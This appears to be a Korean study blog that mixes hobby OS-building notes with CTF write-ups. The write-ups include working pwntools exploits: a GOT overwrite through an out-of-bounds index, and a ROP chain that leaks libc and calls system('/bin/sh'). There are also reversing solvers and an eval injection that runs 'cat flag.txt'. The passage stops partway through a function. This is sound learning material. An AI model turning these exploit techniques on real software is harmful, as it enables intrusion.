#include <something.h>
- 컴파일러가 설치되어 있는 폴더에서 헤더파일을 찾아라.
#include “something.h”
- 개발자가 사용하고 있는 프로젝트 폴더나 개발자가 추가포함 디렉터리로 지정해준 경로에서 헤더파일을 찾아라.
O_DEBUG="no"
while getopts d opts; do
case $opts in
d) O_DEBUG="yes"
;;
esac
done
if [ "${O_DEBUG}" = "yes" ]; then
qemu-system-x86_64 -L . -m 64 -fda /mnt/d/home/study/mint64os/Disk.img -rtc base=localtime -M pc -s -S
#qemu-system-i386 -L . -m 64 -fda /mnt/d/home/study/mint64os/Disk.img -rtc base=localtime -M pc -s -S
fi
if [ "${O_DEBUG}" = "no" ]; then
qemu-system-x86_64 -L . -m 64 -fda /mnt/d/home/study/mint64os/Disk.img -rtc base=localtime -M pc
#qemu-system-i386 -L . -m 64 -fda /mnt/d/home/study/mint64os/Disk.img -rtc base=localtime -M pc
fi
O_DEBUG="no"
O_ARCH="x86_64"
while getopts da: opts; do
case $opts in
d) O_DEBUG="yes"
;;
a) O_ARCH=$OPTARG
;;
esac
done
if [ "${O_DEBUG}" = "yes" ]; then
qemu-system-${O_ARCH} -L . -m 64 -fda /mnt/d/home/study/mint64os/Disk.img -rtc base=localtime -M pc -s -S
fi
if [ "${O_DEBUG}" = "no" ]; then
qemu-system-${O_ARCH} -L . -m 64 -fda /mnt/d/home/study/mint64os/Disk.img -rtc base=localtime -M pc
fi
왜인지는 모르겠지만 NULLDESCRIPTOR에 db 0x00 한 줄이 더 추가되어 있었다... 디버깅 끝에 jmp 0x18: 0x10020 에서 이상한데로 뛰는 것을 보고 오류를 찾을 수 있었는데 이것도 참 오래걸렸따.... 오류 찾고 디버깅 하고 수정하려면 오래걸리니까 처음부터 코드를 집중해서 잘 보도록 하자...
2022.08.25 부터 OS 공부를 시작했다. 참고 자료 및 사이트는 아래 Reference 참조
https://github.com/c0wb3ll/redcat/tree/main/mint64os
GitHub - c0wb3ll/mint64os
Contribute to c0wb3ll/mint64os development by creating an account on GitHub.
github.com
http://www.yes24.com/Product/Goods/65061299
64비트 멀티코어 OS 원리와 구조 1권 - YES24
누구나 따라하면 운영체제를 만들 수 있다. 주류로 자리잡은 64비트 멀티코어 운영체제를 직접 만들어볼 수 있다. 하드웨어 동작 원리를 익힐 수 있으며, 각 장에는 완성된 소스 코드를 제공한다
www.yes24.com
https://github.com/kkamagui/mint64os
GitHub - kkamagui/mint64os: Project for making your own 64bit multicore operating system (MINT64 OS) from scratch
Project for making your own 64bit multicore operating system (MINT64 OS) from scratch - GitHub - kkamagui/mint64os: Project for making your own 64bit multicore operating system (MINT64 OS) from scr...
github.com
#include <string>
#include <iostream>
short buf[10];
void win() {
std::system("/bin/sh");
}
short readroman(){
short res = 0;
std::string s;
std::cin >> s;
auto it = s.crbegin();
int b = 1;
for (auto c: "IXCM") {
int cnt = 0;
while (cnt < 9 && it != s.crend() && *it == c) {
it++;
cnt++;
}
res += b * cnt;
b *= 10;
}
return res;
}
int main() {
std::setbuf(stdin, NULL);
std::setbuf(stdout, NULL);
std::cout << "ind: ";
int ind = readroman();
std::cout << "val: ";
int val = readroman();
std::cout << "buf[" << ind << "] = " << val << std::endl;
buf[ind] = val;
std::exit(0);
}
코드를 제공해주어서 편하게 분석할 수 있다.
해당 문제는 처음에 C++이어서 쫄았으나 코드 구성을 보고 buf에서 발생하는 OOB를 이용하여 exit.got를 overwrite하는 문제임은 금방 알 수 있었다.
문제를 푸는 당시에는 “IXCM”로마 숫자를 통해 buf 및 value를 입력받는 것은 알 수 있었으나, 해당 값으로는 최대 9999밖에 입력할 수 없어 그냥 포기하고 dreamhack으로 공부나 하러 튀었었다.
문제 풀이가 끝나고 writeup을 기다리고 있었으나 modern-rome 문제는 writeup을 찾을 수 없었고 디스코드방을 보다가 “IXCM\0”이라는 힌트를 보고 풀 수 있어서 writeup을 작성한다.
from pwn import *
# p = process("./chall")
p = remote("pwn1.ctf.zer0pts.com", 9000)
e = ELF("./chall")
buf_addr = 0x404340
win_addr = 0x4012f6
exit_got = e.got["exit"]
print(f"buf_addr: {hex(buf_addr)}")
print(f"exit_got: {hex(exit_got)}")
print(f"win_addr: {hex(win_addr)}")
print(f"buf_addr - exit_got: {buf_addr - exit_got}")
# pause()
payload = b'\x00' * 6
payload += b'M' * 5
payload += b'C' * 1
payload += b'X' * 6
payload += b'I' * 4
p.sendlineafter(b"ind: ", payload)
payload = b'M' * 4
payload += b'C' * 8
payload += b'X' * 5
payload += b'I' * 4
p.sendlineafter(b"val: ", payload)
p.interactive()
int __cdecl main(int argc, const char **argv, const char **envp):
{
char ord(s[0]) // [rsp+20h] [rbp-10h]
int v5 // [rsp+2Ch] [rbp-4h]
v5 = 1
if ( argc == 2 ):
{
s = argv[1]
if ( strlen(s): == 42 ):
{
if ( ord(s[7]) + ord(s[13]) + ord(s[8]) != 269 ):
v5 = 0
if ( ord(s[0]) - ord(s[1]) + ord(s[14]) + ord(s[0]) != 165 ):
v5 = 0
if ( ord(s[34]) + ord(s[16]) * ord(s[21]) + ord(s[38]) != 9482 ):
v5 = 0
if ( ord(s[41]) + ord(s[8]) * ord(s[6]) + ord(s[23]) != 5500 ):
v5 = 0
if ( -ord(s[41]) - ord(s[21]) != -223 ):
v5 = 0
if ( ord(s[11]) * ord(s[4]) * ord(s[18]) + ord(s[19]) != 639710 ):
v5 = 0
if ( ord(s[23]) + ord(s[33]) * ord(s[34]) != 6403 ):
v5 = 0
if ( ord(s[18]) * ord(s[14]) - ord(s[33]) != 5072 ):
v5 = 0
if ( ord(s[24]) - ord(s[39]) - ord(s[30]) - ord(s[22]) != -110 ):
v5 = 0
if ( ord(s[10]) + ord(s[30]) - ord(s[19]) + ord(s[1]) != 110 ):
v5 = 0
if ( ord(s[15]) - ord(s[20]) - ord(s[41]) != -169 ):
v5 = 0
if ( ord(s[15]) * ord(s[35]) - ord(s[41]) * ord(s[8]) != -10231 ):
v5 = 0
if ( ord(s[36]) + ord(s[31]) * ord(s[11]) - ord(s[32]) != 8428 ):
v5 = 0
if ( ord(s[29]) + ord(s[25]) + ord(s[40]) != 289 ):
v5 = 0
if ( ord(s[7]) - ord(s[12]) + ord(s[24]) != 100 ):
v5 = 0
if ( ord(s[21]) * ord(s[30]) - ord(s[6]) != 9262 ):
v5 = 0
if ( ord(s[38]) * ord(s[33]) * ord(s[3]) != 480244 ):
v5 = 0
if ( ord(s[20]) - ord(s[31]) * ord(s[0]) - ord(s[2]) != -5954 ):
v5 = 0
if ( ord(s[27]) + ord(s[12]) * ord(s[21]) != 5095 ):
v5 = 0
if ( ord(s[6]) + ord(s[11]) * ord(s[8]) - ord(s[8]) != 10938 ):
v5 = 0
if ( ord(s[34]) - ord(s[5]) + ord(s[7]) * ord(s[24]) != 5014 ):
v5 = 0
if ( ord(s[40]) - ord(s[18]) - ord(s[2]) != -83 ):
v5 = 0
if ( ord(s[11]) - ord(s[31]) + ord(s[9]) * ord(s[24]) != 10114 ):
v5 = 0
if ( ord(s[41]) != 125 ): ------ solved
v5 = 0
if ( ord(s[28]) + ord(s[30]) - ord(s[3]) * ord(s[16]) != -6543 ):
v5 = 0
if ( ord(s[18]) * ord(s[25]) - ord(s[11]) != 5828 ):
v5 = 0
if ( ord(s[8]) * ord(s[9]) * ord(s[11]) != 1089000 ):
v5 = 0
if ( ord(s[3]) * ord(s[25]) - ord(s[29]) * ord(s[6]) != 2286 ):
v5 = 0
if ( ord(s[36]) - ord(s[7]) * ord(s[33]) != -3642 ):
v5 = 0
if ( ord(s[32]) - ord(s[1]) + ord(s[20]) != 73 ):
v5 = 0
if ( ord(s[39]) + ord(s[5]) * ord(s[4]) != 8307 ):
v5 = 0
if ( ord(s[0]) * ord(s[39]) * ord(s[8]) != 515460 ):
v5 = 0
if ( ord(s[12]) - ord(s[13]) + ord(s[31]) != 25 ):
v5 = 0
if ( ord(s[18]) + ord(s[10]) + ord(s[41]) + ord(s[41]) != 351 ):
v5 = 0
if ( ord(s[7]) + ord(s[14]) * ord(s[1]) + ord(s[22]) != 7624 ):
v5 = 0
if ( ord(s[27]) + ord(s[24]) * ord(s[18]) + ord(s[14]) != 5500 ):
v5 = 0
if ( ord(s[20]) - ord(s[41]) * ord(s[6]) + ord(s[18]) != -5853 ):
v5 = 0
if ( ord(s[33]) - ord(s[2]) - ord(s[25]) * ord(s[31]) != -9585 ):
v5 = 0
if ( ord(s[18]) * ord(s[11]) * ord(s[37]) != 353600 ):
v5 = 0
if ( ord(s[17]) + ord(s[8]) + ord(s[7]) - ord(s[39]) != 192 ):
v5 = 0
if ( ord(s[11]) - ord(s[35]) - ord(s[9]) * ord(s[31]) != -8285 ):
v5 = 0
if ( ord(s[23]) - ord(s[29]) + ord(s[39]) != 40 ):
v5 = 0
if ( ord(s[28]) + ord(s[10]) * ord(s[25]) * ord(s[20]) != 530777 ):
v5 = 0
if ( ord(s[32]) * ord(s[29]) * ord(s[3]) != 463914 ):
v5 = 0
if ( ord(s[32]) - ord(s[22]) + ord(s[30]) != 98 ):
v5 = 0
if ( ord(s[0]) - ord(s[13]) + ord(s[40]) - ord(s[38]) != -74 ):
v5 = 0
if ( ord(s[17]) + ord(s[21]) - ord(s[38]) != 108 ):
v5 = 0
if ( ord(s[0]) - ord(s[41]) * ord(s[23]) != -11804 ):
v5 = 0
if ( ord(s[2]) * ord(s[29]) * ord(s[27]) != 997645 ):
v5 = 0
if ( ord(s[25]) - ord(s[19]) * ord(s[35]) != -7476 ):
v5 = 0
if ( ord(s[16]) - ord(s[19]) * ord(s[7]) != -5295 ):
v5 = 0
if ( ord(s[33]) + ord(s[12]) * ord(s[26]) + ord(s[22]) != 2728 ):
v5 = 0
if ( ord(s[41]) + ord(s[24]) + ord(s[32]) != 281 ):
v5 = 0
if ( ord(s[23]) * ord(s[31]) * ord(s[14]) != 790020 ):
v5 = 0
if ( ord(s[35]) - ord(s[35]) * ord(s[6]) - ord(s[14]) != -3342 ):
v5 = 0
if ( ord(s[31]) + ord(s[40]) - ord(s[17]) * ord(s[25]) != -11148 ):
v5 = 0
if ( ord(s[36]) * ord(s[18]) + ord(s[13]) * ord(s[19]) != 16364 ):
v5 = 0
if ( ord(s[40]) - ord(s[5]) + ord(s[2]) * ord(s[18]) != 4407 ):
v5 = 0
if ( ord(s[21]) - ord(s[25]) + ord(s[3]) != 55 ):
v5 = 0
if ( ord(s[14]) + ord(s[14]) + ord(s[13]) - ord(s[2]) != 223 ):
v5 = 0
if ( ord(s[36]) * ord(s[35]) - ord(s[5]) * ord(s[29]) != -2449 ):
v5 = 0
if ( ord(s[41]) - ord(s[39]) + ord(s[1]) != 135 ):
v5 = 0
if ( ord(s[35]) - ord(s[0]) * ord(s[35]) + ord(s[0]) != -4759 ):
v5 = 0
if ( ord(s[8]) - ord(s[10]) * ord(s[21]) - ord(s[31]) != -4776 ):
v5 = 0
if ( ord(s[29]) - ord(s[24]) + ord(s[28]) != 126 ):
v5 = 0
if ( ord(s[0]) * ord(s[10]) - ord(s[32]) - ord(s[8]) != 3315 ):
v5 = 0
if ( ord(s[28]) * ord(s[32]) + ord(s[41]) != 5903 ):
v5 = 0
if ( ord(s[37]) - ord(s[24]) + ord(s[32]) != 20 ):
v5 = 0
if ( ord(s[20]) * ord(s[10]) - ord(s[15]) + ord(s[31]) != 4688 ):
v5 = 0
if ( ord(s[36]) - ord(s[9]) - ord(s[18]) * ord(s[18]) != -2721 ):
v5 = 0
if ( ord(s[9]) * ord(s[7]) + ord(s[16]) * ord(s[30]) != 13876 ):
v5 = 0
if ( ord(s[18]) + ord(s[34]) + ord(s[24]) - ord(s[7]) != 188 ):
v5 = 0
if ( ord(s[16]) * ord(s[27]) + ord(s[20]) != 9310 ):
v5 = 0
if ( ord(s[22]) - ord(s[30]) - ord(s[37]) - ord(s[9]) != -211 ):
v5 = 0
if ( ord(s[4]) * ord(s[41]) * ord(s[27]) - ord(s[38]) != 1491286 ):
v5 = 0
if ( ord(s[35]) - ord(s[29]) * ord(s[8]) + ord(s[13]) != -13131 ):
v5 = 0
if ( ord(s[23]) - ord(s[7]) - ord(s[24]) - ord(s[22]) != -107 ):
v5 = 0
if ( ord(s[37]) * ord(s[4]) * ord(s[5]) != 560388 ):
v5 = 0
if ( ord(s[17]) * ord(s[32]) - ord(s[15]) != 5295 ):
v5 = 0
if ( ord(s[32]) + ord(s[23]) * ord(s[18]) - ord(s[5]) != 4927 ):
v5 = 0
if ( ord(s[3]) + ord(s[8]) * ord(s[39]) + ord(s[39]) != 7397 ):
v5 = 0
if ( ord(s[7]) * ord(s[25]) - ord(s[3]) + ord(s[36]) != 5597 ):
v5 = 0
if ( ord(s[9]) - ord(s[24]) - ord(s[33]) != -79 ):
v5 = 0
if ( ord(s[30]) + ord(s[14]) * ord(s[36]) != 8213 ):
v5 = 0
if ( v5 == 1 ):
puts(":): CORRECT!"):
else
puts("( INCORRECT"):
return 0
}
else
{
puts("( INCORRECT"):
return -1
}
}
else
{
puts("Usage: ./binary <key>"):
return -1
}
}
정말 더럽다;;
이런 문제들은 사람 손으로 직접 풀 수 있기도 하지만 z3 또는 angr와 같은 python api를 사용하면 좀 더 쉽게 해결할 수 있다.
문제 풀 당시에는 z3를 사용해본적도 없고 angr밖에 생각이 안나서 angr로 삽질하다가 안되서 때려치고 writeup을 보고 z3를 왜 까먹고 있었지 해서 내가 본 그대로의 사용법(틀린 정보일 수 있음)을 다음에 이 글을 보고 다시 사용하기 위해 정리한다.
https://ericpony.github.io/z3py-tutorial/guide-examples.htm
보통 ctf에서는 flag를 구하기 위해 사용하기 때문에 정수/상수를 구하는 BitVec을 사용한다. 따라서 BitVec부분 예제만 가져왔다. 전체적인 사용법을 보고 싶다면 위 documentation link를 타고 들어가 확인하면 된다.
x = BitVec('x', 8)
위 코드는 x라는 이름의 8비트 크기의 비트벡터를 생성한다. char형은 1byte이니 8비트로 생성해주면 된다. 그 외의 구해야 하는 값이 더 큰 값이라면 알아서 조정해주면 된다.
from z3 import *
x = Int('x')
y = Int('y')
s = Solver()
print(s)
s.add(x > 10, y == x + 2)
print(s)
print("Solving constraints in the solver s ...")
print(s.check())
print(s.model())
우선 먼저 Solver()
를 선언해준다.
그 후 문제 해결에 필요한 식을 s.add(x + 1 == 2)
과 같이 선언해주면 된다.
check()
함수를 사용하면 해당 식의 풀이를 시작한다. 그 후 해가 만족스럽다면 sat(satisfiable), 만족스럽지 않다면 unsat(unsatisfiable)을 반환한다.
model()
함수를 사용하면 z3 API에서 찾은 해를 출력한다.
그런데 여기서 해를 보면 알 수 있듯이 [x = 11, y = 13]
이 출력되었다. 하지만 실제 x,y
의 값은 [x = 12, y = 14]
와 같이 여러가지가 있을 수 있다. 그렇기 때문에 정확한 해를 알고 싶다면 식은 많으면 많을 수록 좋을 것 같다고 생각한다.
우선 나는 angr만 삽질하느라 z3를 이용한 풀이로 제시간에 풀어내지 못했기 때문에 다른 사람의 writeup 링크를 첨부한다. 같이 확인해보면 좋을 것 같다.
https://github.com/0xpurpler0se/CTF-Writeups/blob/main/FooBar CTF 2022/baby_rev.md
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
void init() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stderr, NULL, _IONBF, 0);
}
void vuln() {
char buf[0x30];
memset(buf, 0, 0x30);
write(1, "> ", 2);
read(0, buf, 0xc0);
}
int main(void) {
init();
vuln();
exit(0);
}
해당 Warmup 문제는 CTF 기간내에 풀지 못한 문제이다. 대회가 끝난 후 공개된 writeup을 봤는데 굉장히 다양한 방식의 풀이가 있어서 흥미로웠다. 여러가지 풀이 방법 중 내가 알게된 방법은 아래와 같다.
buf
가 8bytes씩 밀리는 것을 이용한 leak(내가 이해한게 맞는지 잘 모르겠음;;)dl_start_user+50
값을 이용한 leakstdin
, stdout
, stderr
가 bss영역에 있는 것을 이용한 leak풀이과정은 여러개였지만 1,2 방법으로는 결국 풀지 못했기 때문에 3번 방식을 이용한 풀이를 하려고 한다.
(또한 환경 맞추어 줄 때 그냥 도커쓰자 그게 정신건강에 이롭다...)
우선 main
, vuln
, init
등의 함수의 심볼이 모두 날라가 있는 것을 확인할 수 있었다.
이런 경우 info file
명령어를 이용하여 .text
영역을 모두 살펴보는 방식을 이용해야한다.
.text
영역을 살펴보면 위 그림과 같이 파악할 수 있다.
0x40053d: push rbx
0x40053e: xor eax,eax
0x400540: mov ecx,0xc
0x400545: lea rsi,[rip+0x32] # 0x40057e
0x40054c: mov edx,0x2
0x400551: sub rsp,0x30
0x400555: mov rbx,rsp
0x400558: mov rdi,rbx
0x40055b: rep stos DWORD PTR es:[rdi],eax
0x40055d: mov edi,0x1
0x400562: call 0x4004a0 <write@plt>
0x400567: mov rsi,rbx
0x40056a: mov edx,0xc0
0x40056f: xor edi,edi
0x400571: xor eax,eax
0x400573: call 0x4004b0 <read@plt>
0x400578: add rsp,0x30
0x40057c: pop rbx
0x40057d: ret
그 중 vuln
함수를 살펴보면 스택 정리 방식이 일반적이지 않음을 확인할 수 있다.
vuln
함수에서 buf의 크기는 0x30인것에 반해 read함수를 이용한 입력은 0xc0만큼 받는다. 해당 취약점을 이용해 return address를 0x400567
, 0x40055d
로 줌으로써 write
함수, read
함수의 인자를 변경시켜 사용할 수 있다.
또한 .bss
영역을 보면 stdout
, stdin
, stderr
의 주소가 있는 것을 확인할 수 있다. 해당 .bss
영역과 write
함수를 이용해 libc base를 leak할 수 있다.
from pwn import *
e = ELF('./warmup')
libc = ELF('/lib/x86_64-linux-gnu/libc-2.27.so')
# text_addr
main_addr = 0x4004e0
vuln_addr = 0x40053d
# func
write_addr = 0x40055d
read_addr = 0x400567
#bss
bss_addr = 0x601000
p = process('./warmup')
# pause()
payload = b'A' * 0x30
payload += p64(bss_addr)
payload += p64(read_addr)
payload += b'A' * 0x38
payload += p64(write_addr)
p.sendafter(b'> ', payload)
p.sendline(b'')
p.interactive()
위 익스코드의 동작과정을 설명하면
pop rbx
를 이용해 rbx
레지스터에 bss_addr
값을 준다.read
함수로 return address를 덮어씌워 read
함수의 인자를 read(0, bss_addr, 0xc0)와 같이 만들어준다.write
함수로 가져간다. ⇒ write(1, bss_addr, 0xc0)이렇게 써놓으면 이해하기 힘들거 같긴한데; vuln
함수 디스어셈블구문과 함께 보면 이해할 수 있을거라 믿는다..
해당 익스코드를 실행시키면 다음과 같이 bss_addr
부분 즉 stdout
, stdin
, stderr
주소를 leak 할 수 있다.
여기서 stdout
주소는 p.sendline(b'')
부분으로 인해 마지막 1byte가 0x0a
로 덮였기 때문에 사용하지 않고 stdin
주소를 사용하기로 한다.
위 과정을 통해 libc base 및 필요한 함수들의 주소들을 구해준 뒤 익스 해주면 된다.
from pwn import *
e = ELF('./warmup')
libc = ELF('/lib/x86_64-linux-gnu/libc-2.27.so')
# libc_offset
stdin_offset = libc.symbols['_IO_2_1_stdin_']
system_offset = libc.symbols['system']
binsh_offset = next(libc.search(b'/bin/sh'))
ogg_offset = 0x4f432
pop_rdi_offset = 0x215bf
ret_offset = 0x8aa
# text_addr
main_addr = 0x4004e0
vuln_addr = 0x40053d
# func
write_addr = 0x40055d
read_addr = 0x400567
#bss
bss_addr = 0x601000
p = process('./warmup')
# pause()
payload = b'A' * 0x30
payload += p64(bss_addr)
payload += p64(read_addr)
payload += b'A' * 0x38
payload += p64(write_addr)
payload += b'A' * 0x38
payload += p64(vuln_addr)
p.sendafter(b'> ', payload)
p.sendline(b'')
p.recvuntil(b'\x7f') # stdout
stdin_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) # stdin
libc_base = stdin_addr - stdin_offset
ogg_addr = libc_base + ogg_offset
system_addr = libc_base + system_offset
binsh_addr = libc_base + binsh_offset
pop_rdi_addr = libc_base + pop_rdi_offset
ret_addr = libc_base + ret_offset
print(f"[*] libc_base: {hex(libc_base)}")
print(f"[*] stdin_addr: {hex(stdin_addr)}")
print(f"[*] ogg_addr: {hex(ogg_addr)}")
print(f"[*] system_addr: {hex(system_addr)}")
print(f"[*] binsh_addr: {hex(binsh_addr)}")
print(f"[*] pop_rdi_addr: {hex(pop_rdi_addr)}")
print(f"[*] ret_addr: {hex(ret_addr)}")
payload2 = b'A' * 0x38
payload2 += p64(ret_addr)
payload2 += p64(pop_rdi_addr)
payload2 += p64(binsh_addr)
payload2 += p64(system_addr)
p.sendlineafter(b'> ', payload2)
p.interactive()
처음엔 one_gadget을 이용해 익스하려고 하였는데 인자 정리가 제대로 안된건지 뭔지 모르겠는데 execvpe+101
부분에서 SIGSEGV
에러가 발생하여 system('/bin/sh)
을 이용해 익스해주었다.
들어가면 다음과 같은 웹페이지가 표시된다.
개발자 모드로 들어가면 다음과 같이 Test Bot Source Code: 깃허브링크
가 나온다.
commit 히스토리를 보면 다음과 같이 플래그가 있었다.
접속하면 다음과 같은 화면이 나온다.
Get the flag! 버튼을 누르면 다음과 같이 에러 화면이 나오게 된다.
주소창을 자세히 보면 #이 들어가 있는 것을 확인할 수 있는데 #은 뒤에 오는 값을 fragment id로 취급하기 때문에 정상적인 문자열로 인식이 되지 않아 발생한 에러라는 것을 알 수 있다.
따라서 다음과 같이 URL encoding을 거쳐 값을 보내어주면 플래그를 획득할 수 있다.
접속하면 다음과 같은 로그인 패널이 뜬다.
소스 코드로 보면 누가봐도 jsfuck처럼 생긴 문자열들이 존재한다.
디코딩하면 다음과 같이 읽을 수 있는 javascript 구문이 나오고 올바른 username.value
와 password.value
를 획득할 수 있다.
해당 값들을 가지고 로그인을 시도해봤으나 아무 반응이 없어 뒤에 document.location에 있는 randomvalue.php
에 직접 접속을 시도하여 플래그를 획득하였다.
접속시 다음 화면을 볼 수 있다.
문제를 풀 때 게싱이 많아서 많이 힘들었는데 해당 문제는 안그래도 문의가 많았는지 디코방에 /user
경로를 잘 살펴보라는 힌트가 주어져 다음과 같이 접속했을 때 Jhon의 대한 정보를 획득할 수 있었다.
문제이름이 Zero is not limit 였기 때문에 -1을 넣었더니 플래그가 나왔다.
접속하면 다음과 같은 계산기 페이지가 나온다.
문자열을 집어넣으면 다음과 같이 eval()
에러가 출력된다.
따라서 system(”cat flag.txt”)
를 넣으면 플래그를 읽을 수 있다.
int __cdecl main(int argc, const char **argv, const char **envp)
{
__int16 v4; // [rsp+6h] [rbp-6Ah] BYREF
__int16 v5; // [rsp+8h] [rbp-68h] BYREF
__int16 v6; // [rsp+Ah] [rbp-66h] BYREF
__int16 v7; // [rsp+Ch] [rbp-64h] BYREF
__int16 v8; // [rsp+Eh] [rbp-62h] BYREF
__int16 v9; // [rsp+10h] [rbp-60h] BYREF
__int16 v10; // [rsp+12h] [rbp-5Eh] BYREF
__int16 v11; // [rsp+14h] [rbp-5Ch] BYREF
__int16 v12; // [rsp+16h] [rbp-5Ah] BYREF
__int16 v13; // [rsp+18h] [rbp-58h] BYREF
__int16 v14; // [rsp+1Ah] [rbp-56h] BYREF
__int16 v15; // [rsp+1Ch] [rbp-54h] BYREF
__int16 v16; // [rsp+1Eh] [rbp-52h] BYREF
__int16 v17; // [rsp+20h] [rbp-50h] BYREF
__int16 v18; // [rsp+22h] [rbp-4Eh] BYREF
__int16 v19; // [rsp+24h] [rbp-4Ch] BYREF
__int16 v20; // [rsp+26h] [rbp-4Ah] BYREF
__int16 v21; // [rsp+28h] [rbp-48h] BYREF
__int16 v22; // [rsp+2Ah] [rbp-46h] BYREF
__int16 v23; // [rsp+2Ch] [rbp-44h] BYREF
__int16 v24; // [rsp+2Eh] [rbp-42h] BYREF
char s2[32]; // [rsp+30h] [rbp-40h] BYREF
char s1[24]; // [rsp+50h] [rbp-20h] BYREF
unsigned __int64 v27; // [rsp+68h] [rbp-8h]
v27 = __readfsqword(0x28u);
v4 = 'K';
v5 = '}';
v6 = 'w';
v7 = 'c';
v8 = '0';
v9 = 'T';
v10 = 'F';
v11 = 'C';
v12 = '_';
v13 = 'm';
v14 = 't';
v15 = 'r';
v16 = 'v';
v17 = 's';
v18 = '{';
v19 = 'n';
v20 = '3';
v21 = 'e';
v22 = 'g';
v23 = 'l';
v24 = 'i';
strcpy(s1, "abracadabrahahaha");
printf("\nHi there!\n\nPlease enter the password to unlock the flag vault: ");
__isoc99_scanf("%s", s2);
if ( !strcmp(s1, s2) )
{
puts("\nCongratulations! Here is your flag:\n");
printf(
"%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s\n\n",
&v4,
&v11,
&v9,
&v10,
&v18,
&v6,
&v21,
&v23,
&v7,
&v8,
&v13,
&v21,
&v12,
&v14,
&v8,
&v12,
&v15,
&v21,
&v16,
&v21,
&v15,
&v17,
&v21,
&v12,
&v20,
&v19,
&v22,
&v24,
&v19,
&v21,
&v21,
&v15,
&v24,
&v19,
&v22,
&v5);
}
else
{
puts(
"\n"
"Sorry!\n"
"\n"
"You have entered a wrong password! \n"
"\n"
"Please try with a valid one!\n"
"\n"
"If you don't have the password, you can buy that here at https://knightsquad.org");
}
return 0;
}
abracadabrahahaha
를 비교한 뒤 같으면 flag를 출력해준다.int __cdecl main(int argc, const char **argv, const char **envp)
{
int v3; // eax
char s[52]; // [rsp+0h] [rbp-40h] BYREF
int v6; // [rsp+34h] [rbp-Ch]
int v7; // [rsp+38h] [rbp-8h]
int i; // [rsp+3Ch] [rbp-4h]
v7 = 1337;
v6 = 0;
puts("Welcome to the encoder");
puts("Please give me a plain text of max 40 characters");
fgets(s, 40, _bss_start);
for ( i = 0; ; ++i )
{
v3 = countChar(s);
if ( i >= v3 )
break;
v6 = s[i];
printf("%d ", (v6 + v7));
}
return 0;
}
입력한 문자열의 ascii코드에 1337을 더해 반환하는 encoder
반대로 1337을 빼주면 플래그를 획득할 수 있다.
data = "1412 1404 1421 1407 1460 1452 1386 1414 1449 1445 1388 1432 1388 1415 1436 1385 1405 1388 1451 1432 1386 1388 1388 1392 1462"
enc = data.split(" ")
for i in enc:
print(chr(int(i) - 1337), end="")
jar decompiler를 통해 String.class를 보면 base64 encoding된 문자열들이 보인다.
맨 아래 인코딩문을 디코딩으로 돌리면 플래그를 획득할 수 있다.
이번에는 좀 무식한 방법을 이용하여 문제를 해결하였다.
int __cdecl main(int argc, const char **argv, const char **envp)
{
char v4[512]; // [rsp+0h] [rbp-240h] BYREF
char v5[51]; // [rsp+200h] [rbp-40h] BYREF
char v6; // [rsp+233h] [rbp-Dh]
int v7; // [rsp+234h] [rbp-Ch]
int j; // [rsp+238h] [rbp-8h]
int i; // [rsp+23Ch] [rbp-4h]
strcpy(v5, "08'5[Z'Y:H3?X2K3V)?D2G3?H,N6?G$R(G]");
printf("Give me a flag : ");
__isoc99_scanf("%s", v4);
for ( i = 0; v4[i]; ++i )
{
if ( v4[i] <= 64 || v4[i] > 90 )
{
if ( v4[i] <= 96 || v4[i] > 122 )
v4[i] = v4[i];
else
v4[i] = -37 - v4[i];
}
else
{
v4[i] = -101 - v4[i];
}
}
for ( j = 0; v4[j]; ++j )
v4[j] -= 32;
v7 = 0;
v6 = 0;
while ( v5[v7] )
{
if ( v5[v7] != v4[v7] )
{
v6 = 0;
break;
}
v6 = 1;
++v7;
}
if ( v6 )
puts("You have entered the right flag.");
else
puts("Sorry ! Its wrong flag.");
return 0;
}
몇번 동적 분석을 진행하다보니 눈에 띄는 규칙성이 보여 그냥 그대로 딕셔너리로 박아주었다.
match = {
"}" : 0x5d,
"{" : 0x5b,
"a" : 0x5a,
"b" : 0x59,
"c" : 0x58,
"d" : 0x57,
"e" : 0x56,
"f" : 0x55,
"g" : 0x54,
"h" : 0x53,
"i" : 0x52,
"j" : 0x51,
"k" : 0x50,
"l" : 0x4f,
"m" : 0x4e,
"n" : 0x4d,
"o" : 0x4c,
"p" : 0x4b,
"q" : 0x4a,
"r" : 0x49,
"s" : 0x48,
"t" : 0x47,
"u" : 0x46,
"v" : 0x45,
"w" : 0x44,
"x" : 0x43,
"y" : 0x42,
"z" : 0x41,
"_" : 0x3f,
"A" : 0x3a,
"B" : 0x39,
"C" : 0x38,
"D" : 0x37,
"E" : 0x36,
"F" : 0x35,
"G" : 0x34,
"H" : 0x33,
"I" : 0x32,
"J" : 0x31,
"K" : 0x30,
"L" : 0x2f,
"M" : 0x2e,
"N" : 0x2d,
"O" : 0x2c,
"P" : 0x2b,
"Q" : 0x2a,
"R" : 0x29,
"S" : 0x28,
"T" : 0x27,
"U" : 0x26,
"V" : 0x25,
"W" : 0x24,
"X" : 0x23,
"Y" : 0x22,
"Z" : 0x21,
}
data = "08'5[Z'Y:H3?X2K3V)?D2G3?H,N6?G$R(G]"
reverse_match = dict(map(reversed, match.items()))
# print(reverse_match)
for i in data:
# print(ord(i))
print(reverse_match[ord(i)], end='')
'''
KCTF{aTbAsH...
'''
int __cdecl main(int argc, const char **argv, const char **envp)
{
char v4; // [rsp+Bh] [rbp-435h]
int i; // [rsp+Ch] [rbp-434h]
int v6; // [rsp+Ch] [rbp-434h]
char v7[48]; // [rsp+10h] [rbp-430h] BYREF
char v8[1016]; // [rsp+40h] [rbp-400h] BYREF
unsigned __int64 v9; // [rsp+438h] [rbp-8h]
v9 = __readfsqword(0x28u);
strcpy(v7, "*9J<qiEUoEkU]EjUc;U]EEZU`EEXU^7fFoU^7Y*_D]s");
puts("Hello There..\nWelcome to KS Vault.");
printf("Please enter vault password : ");
__isoc99_scanf("%s", v8);
for ( i = 0; v8[i]; ++i )
{
v8[i + 512] = v8[i] - 10;
if ( v8[i + 512] == 65 )
v8[i + 512] = 42;
}
v6 = 0;
v4 = 0;
while ( v7[v6] )
{
if ( v7[v6] != v8[v6 + 512] )
{
v4 = 0;
break;
}
v4 = 1;
++v6;
}
if ( v4 )
win();
